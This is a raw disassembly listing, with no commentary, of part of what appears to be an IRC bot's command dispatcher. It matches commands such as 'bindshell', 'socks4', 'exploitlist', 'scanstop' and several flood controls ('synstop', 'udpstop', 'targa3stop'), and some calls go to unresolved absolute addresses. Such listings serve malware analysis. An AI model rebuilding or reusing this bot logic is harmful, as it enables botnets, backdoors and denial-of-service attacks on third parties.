		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax


loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------


loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]


loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42CFD8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CB508
		mov	eax, off_429168[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42CFBC
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42CFB4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42CF9C
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7853j
		call	near ptr 26908E1h
		nop
		push	eax
		push	offset unk_42CF60
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42CF1C


loc_40240A:				; CODE XREF: sub_401ACD+7E2Aj
					; sub_401ACD+7E91j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CEF4
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset word_415C5A
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_402524


loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2680F4Eh
		jmp	short loc_40250E
; ---------------------------------------------------------------------------


loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 26908E1h
		push	eax
		push	offset unk_42CEBC
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE8C
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42CE58
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94


loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		push	edi
		push	offset aLogin	; "login"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		push	edi
		push	offset asc_42CE54 ; "l"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985D
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BE
		push	[ebp+var_8C]
		push	offset dword_42D02C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855


loc_4025BE:				; CODE XREF: sub_401ACD+AD5j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409855
		xor	edi, edi
		cmp	dword_4294D4, ebx
		jle	loc_402773
		mov	[ebp+arg_20], offset dword_43D810


loc_4025DC:				; CODE XREF: sub_401ACD+B2Ej
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402602
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_4294D4
		jl	short loc_4025DC
		jmp	loc_402773
; ---------------------------------------------------------------------------


loc_402602:				; CODE XREF: sub_401ACD+B1Ej
		push	offset asc_42D12C ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D828[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_402657:				; CODE XREF: sub_401ACD+C3Bj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C3
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C3
		lea	eax, dword_43D810[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FE
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FE
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch
		jmp	short loc_4026FE
; ---------------------------------------------------------------------------


loc_4026C3:				; CODE XREF: sub_401ACD+BB2j
					; sub_401ACD+BB9j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FE
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 18h


loc_4026FE:				; CODE XREF: sub_401ACD+BCBj
					; sub_401ACD+BDFj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402657
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40271B:				; CODE XREF: sub_401ACD+C9Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275E
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275E
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		add	esp, 0Ch


loc_40275E:				; CODE XREF: sub_401ACD+C76j
					; sub_401ACD+C7Cj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271B
		mov	[ebp+var_2C8], 1


loc_402773:				; CODE XREF: sub_401ACD+B02j
					; sub_401ACD+B30j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278C
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297D


loc_40278C:				; CODE XREF: sub_401ACD+CB1j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEF
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEF
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEF
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08E
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEF
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEF
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h


loc_4027FE:				; CODE XREF: sub_401ACD+E29j
		test	eax, eax
		jz	loc_4028FB
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42CE14 ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_40284A
		cmp	[ebp+var_A0], 39h
		jle	short loc_402860


loc_40284A:				; CODE XREF: sub_401ACD+D72j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_402860:				; CODE XREF: sub_401ACD+D7Bj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402886
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_40289A
; ---------------------------------------------------------------------------


loc_402886:				; CODE XREF: sub_401ACD+DA2j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl


loc_40289A:				; CODE XREF: sub_401ACD+DB7j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEF
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FE
; ---------------------------------------------------------------------------


loc_4028FB:				; CODE XREF: sub_401ACD+D33j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42D128 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh


loc_40294B:				; CODE XREF: sub_401ACD+E93j
		push	offset asc_42D128 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294B
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx


loc_40297D:				; CODE XREF: sub_401ACD+CB9j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409803
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FD
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404955
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404946
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493C
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404923
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404825
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471F
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B41
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD68


loc_402B25:				; CODE XREF: sub_401ACD+10C2j
					; sub_401ACD+10E8j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B385
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402B41:				; CODE XREF: sub_401ACD+1043j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FD
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B91
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD40
		jmp	short loc_402B25
; ---------------------------------------------------------------------------


loc_402B91:				; CODE XREF: sub_401ACD+10ADj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BBA
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD24
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BBA:				; CODE XREF: sub_401ACD+10D3j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE3
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42CD08
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402BE3:				; CODE XREF: sub_401ACD+10FCj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0C
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42CCF4
		push	offset dword_42CCE8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C0C:				; CODE XREF: sub_401ACD+1125j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C35
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42CCC8
		push	offset dword_42CCB8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C35:				; CODE XREF: sub_401ACD+114Ej
		push	edi
		push	offset dword_42CCAC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5E
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42CCA0
		push	offset dword_42CC94
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_401ACD+1177j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C87
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42CC80
		push	offset dword_42CC74
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402C87:				; CODE XREF: sub_401ACD+11A0j
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CB0
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42CC58
		push	offset dword_42CC48
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CB0:				; CODE XREF: sub_401ACD+11C9j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD9
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42CC2C
		push	offset dword_42CC1C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402CD9:				; CODE XREF: sub_401ACD+11F2j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D02
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42CC04
		push	offset dword_42CBF8
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402D02:				; CODE XREF: sub_401ACD+121Bj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E58
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42CCA0
		push	offset dword_42CC94
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	0Eh
		push	offset dword_42CC80
		push	offset dword_42CC74
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42CBE0
		push	offset dword_42CBD4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	16h
		push	offset dword_42CBC8
		push	offset dword_42CBBC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42CC2C
		push	offset dword_42CC1C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	12h
		push	offset dword_42CC04
		push	offset dword_42CBF8
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42CBAC
		push	offset dword_42CB9C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	esi
		push	13h
		push	offset dword_42CB8C
		push	offset dword_42CB7C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42CC58
		push	offset dword_42CC48
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B385
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42CB48
		push	[ebp+var_88]
		push	edi
		call	sub_409A73
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402E58:				; CODE XREF: sub_401ACD+1244j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E81
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42CBAC
		push	offset dword_42CB9C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402E81:				; CODE XREF: sub_401ACD+139Aj
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EAA
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42CB8C
		push	offset dword_42CB7C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EAA:				; CODE XREF: sub_401ACD+13C3j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED3
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42CBE0
		push	offset dword_42CBD4
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402ED3:				; CODE XREF: sub_401ACD+13ECj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFC
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42CBC8
		push	offset dword_42CBBC
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402EFC:				; CODE XREF: sub_401ACD+1415j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F25
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42CB00
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402F25:				; CODE XREF: sub_401ACD+143Ej
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E5
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CD
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA2
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42CAB0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FA2:				; CODE XREF: sub_401ACD+14BBj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCB
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42CA8C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FCB:				; CODE XREF: sub_401ACD+14E4j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF4
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42CA6C
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_402FF4:				; CODE XREF: sub_401ACD+150Dj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B7
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A1
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458B
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404575
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404556
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404534
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EC
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D8
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A1
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031C0
		call	sub_418338
		test	eax, eax
		mov	eax, offset unk_42C9A8
		jnz	short loc_403192
		mov	eax, offset unk_42C980


loc_403192:				; CODE XREF: sub_401ACD+16BEj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 1Ch
		jmp	loc_4083BD
; ---------------------------------------------------------------------------


loc_4031C0:				; CODE XREF: sub_401ACD+16B0j
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C2
		push	edi
